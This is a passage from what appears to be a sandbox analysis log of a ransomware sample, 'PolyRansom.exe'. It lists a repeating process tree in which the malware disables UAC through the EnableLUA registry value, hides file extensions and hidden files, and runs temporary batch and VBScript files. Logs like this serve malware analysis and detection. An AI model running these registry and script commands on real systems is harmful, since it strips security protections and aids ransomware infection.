reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
159⤵
PID:4296

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
159⤵
- UAC bypass
PID:5796

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\SiAMsUwg.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
159⤵
PID:3408

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
160⤵
PID:2216

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
157⤵
- Modifies visibility of file extensions in Explorer
PID:4816

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
157⤵
PID:2556

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
157⤵
- UAC bypass
PID:1284

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\mwsQAQEM.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
157⤵
PID:4904

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
158⤵
PID:1796

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
155⤵
PID:3204

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
155⤵
PID:3196

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
155⤵
PID:5544

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\kMEAkYwo.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
155⤵
PID:3248

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
156⤵
PID:216

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
153⤵
PID:5532

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
153⤵
PID:3700

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
153⤵
PID:3712

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\PqkMYAwc.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
153⤵
PID:1036

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
154⤵
PID:1824

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
151⤵
- Modifies registry key
PID:1084

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
151⤵
PID:3736

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
151⤵
- UAC bypass
PID:208

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\joMQkAcI.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
151⤵
PID:228

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
152⤵
PID:5736

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
149⤵
PID:4420

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
149⤵
PID:4976

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
149⤵
PID:6012

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\NAcQUEgo.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
149⤵
PID:5984

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
150⤵
PID:3436

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
147⤵
PID:1448

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
147⤵
PID:700

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
147⤵
PID:4640

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\occsQEkw.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
147⤵
PID:3204

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
148⤵
PID:2996

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
145⤵
- Modifies visibility of file extensions in Explorer
- Modifies registry key
PID:3816

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
145⤵
PID:5684

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
145⤵
- Modifies registry key
PID:5388

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\SIooMsQo.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
145⤵
PID:5996

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
146⤵
PID:1812

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
143⤵
- Modifies visibility of file extensions in Explorer
PID:5528

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
143⤵
PID:228

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
143⤵
PID:6100

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\oycMoIYs.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
143⤵
PID:2688

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
144⤵
PID:4780

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
141⤵
PID:5956

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
141⤵
PID:828

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
141⤵
- Modifies registry key
PID:2016

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\sOMgokAo.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
141⤵
PID:3564

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
142⤵
PID:1756

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
139⤵
- Modifies visibility of file extensions in Explorer
PID:5140

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
139⤵
- Modifies registry key
PID:4500

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
139⤵
PID:5380

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\PccAUUsI.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
139⤵
PID:1096

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
140⤵
PID:4204

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
137⤵
PID:4404

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
137⤵
PID:5976

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
137⤵
PID:3196

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FsQwoUwM.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
137⤵
PID:5548

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
138⤵
PID:3392

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
135⤵
- Modifies visibility of file extensions in Explorer
PID:2652

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
135⤵
PID:2848

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
135⤵
PID:4324

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\rcggQQYo.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
135⤵
PID:2408

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
136⤵
PID:3320

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
133⤵
- Modifies visibility of file extensions in Explorer
PID:208

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
133⤵
- Modifies registry key
PID:5224

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
133⤵
- UAC bypass
- Modifies registry key
PID:4776

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\qSskoIkE.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
133⤵
PID:3972

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
134⤵
PID:5280

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
131⤵
- Modifies visibility of file extensions in Explorer
PID:5924

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
131⤵
PID:2504

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
131⤵
PID:2684

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\QGgwIwwU.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
131⤵
PID:6016

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
132⤵
PID:216

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
129⤵
PID:1096

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
129⤵
PID:524

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
129⤵
PID:5380

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\caoMwwQs.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
129⤵
PID:4416

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
130⤵
PID:3616

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
127⤵
- Modifies visibility of file extensions in Explorer
PID:5548

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
127⤵
- Modifies registry key
PID:3136

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
127⤵
- UAC bypass
PID:5836

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EgccAggE.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
127⤵
PID:2040

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
128⤵
PID:5468

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
125⤵
PID:3700

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
125⤵
PID:856

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
125⤵
PID:5892

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pEQIUUso.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
125⤵
PID:3460

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
126⤵
PID:3544

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
123⤵
- Modifies registry key
PID:2412

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
123⤵
PID:1556

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
123⤵
PID:6004

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JKUEwoUE.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
123⤵
PID:3756

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
124⤵
PID:3872

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
121⤵
- Modifies registry key
PID:5452

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
121⤵
PID:2316

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
121⤵
PID:2376

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\buMocsIY.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
121⤵
PID:5760

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
122⤵
PID:2520

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
119⤵
- Modifies visibility of file extensions in Explorer
PID:2996

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
119⤵
PID:6068

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
119⤵
- UAC bypass
PID:2560

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\oQgQwYoo.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
119⤵
PID:4312

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
120⤵
PID:4204

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
117⤵
- Modifies visibility of file extensions in Explorer
- Modifies registry key
PID:5060

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
117⤵
- Modifies registry key
PID:1088

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
117⤵
PID:5852

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\WsIowoEE.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
117⤵
PID:756

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
118⤵
PID:5468

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
115⤵
PID:856

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
115⤵
PID:5112

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
115⤵
- Modifies registry key
PID:5352

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AKcQYsok.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
115⤵
PID:5616

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
116⤵
PID:4836

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
113⤵
- Modifies visibility of file extensions in Explorer
PID:5188

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
113⤵
PID:4784

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
113⤵
PID:5172

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\yMUkYMoM.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
113⤵
PID:5856

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
114⤵
PID:1768

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
111⤵
PID:2376

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
111⤵
PID:6124

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
111⤵
PID:2316

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\XwEAUYEc.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
111⤵
PID:2400

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
112⤵
PID:5964

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
109⤵
PID:1540

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
109⤵
PID:556

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
109⤵
- UAC bypass
- Modifies registry key
PID:1880

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\riskYQwM.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
109⤵
PID:648

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
110⤵
PID:5288

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
107⤵
- Modifies registry key
PID:5728

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
107⤵
PID:2032

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
107⤵
PID:4912

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JmkUwoEQ.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
107⤵
PID:1508

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
108⤵
PID:3136

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
105⤵
- Modifies registry key
PID:4308

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
105⤵
PID:4332

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
105⤵
- Modifies registry key
PID:5796

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\uiEsEcQk.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
105⤵
PID:3588

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
106⤵
PID:316

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
103⤵
- Modifies visibility of file extensions in Explorer
PID:2408

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
103⤵
PID:3328

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
103⤵
PID:5628

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\wqgoIEkc.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
103⤵
PID:436

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
104⤵
PID:2740

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
101⤵
PID:3684

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
101⤵
- Modifies registry key
PID:4500

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
101⤵
- UAC bypass
PID:5932

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\UiowAQwI.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
101⤵
PID:5652

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
102⤵
PID:2528

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
99⤵
PID:2196

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
99⤵
- Modifies registry key
PID:900

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
99⤵
- UAC bypass
PID:5880

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\kYEscgcY.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
99⤵
PID:6052

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
100⤵
PID:3200

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
97⤵
- Modifies visibility of file extensions in Explorer
PID:1492

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
97⤵
PID:756

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
97⤵
PID:692

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DgQsQwMw.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
97⤵
PID:5528

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
98⤵
PID:5012

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
95⤵
- Modifies registry key
PID:4836

C:\Windows\SysWOW64\reg.exe
